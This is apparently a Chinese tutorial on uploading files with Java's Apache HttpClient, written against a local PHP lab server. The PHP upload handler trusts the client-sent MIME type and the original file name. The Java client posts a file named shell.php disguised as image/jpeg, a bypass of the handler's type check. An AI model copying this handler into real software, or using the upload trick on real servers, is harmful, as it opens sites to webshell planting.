目录
[2. upload文件代码](#2. upload文件代码)
1.依赖安装
文件上传处需要使用httpcomponents库,需要在Maven的pom.xml文件中导入依赖
java
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpmime</artifactId>
<version>4.5.8</version>
</dependency>
2. upload文件代码
php
<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {
if ($_FILES["file"]["error"] > 0) {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
} else {
if (file_exists("uploads/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
}
}
} else {
echo "Invalid file";
}
?>
3.文件上传代码
还是在之前的基础上,增加了一个文件上传的文件类,请求方式通过POST方式,使用try-catch处理异常.
java
package com.deger;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.mime.MultipartEntityBuilder;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
import java.io.File;
import java.io.IOException;
public class HttpClientUpload {
public static void main(String[] args){
System.out.println(DoUpload("http://127.0.0.1/upload.php"));
}
public static String DoUpload(String url){
String res = null;
CloseableHttpClient httpClient = null;
CloseableHttpResponse response = null;
httpClient = HttpClients.createDefault();
//上传的文件的本地路径
File file = new File("D:\\phpstudy_pro\\WWW\\shell.php");
MultipartEntityBuilder builder = MultipartEntityBuilder.create();
// builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), file.getName()));
//更改上传文件的名称
builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), "shell.jpg"));
HttpPost httpPost = new HttpPost(url);
httpPost.setEntity(builder.build());
try {
response = httpClient.execute(httpPost);
if (response.getStatusLine().getStatusCode() == 200) {
res = EntityUtils.toString(response.getEntity());
}
} catch (IOException e) {
throw new RuntimeException(e);
}finally {
try {
httpClient.close();
response.close();
} catch (IOException e) {
e.printStackTrace();
}
}
return res;
}
}